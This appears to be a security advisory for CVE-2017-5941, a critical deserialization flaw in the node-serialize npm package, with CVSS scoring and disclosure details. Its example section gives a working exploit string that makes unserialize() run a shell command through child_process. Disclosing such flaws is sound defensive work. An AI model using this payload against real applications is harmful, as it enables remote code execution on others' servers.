Arbitrary Code Execution

Affecting node-serialize package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

node-serialize serializes an object and it's function into a JSON.

Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the unserialize() function.

Example:

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

Remediation

There is no fix version for node-serialize

References

CVSS Score

9.8
critical severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:U/RC:C
Credit
Ajin Abraham
CVE
CVE-2017-5941
CWE
CWE-502
Snyk ID
npm:node-serialize:20170208
Disclosed
08 Feb, 2017
Published
13 Feb, 2017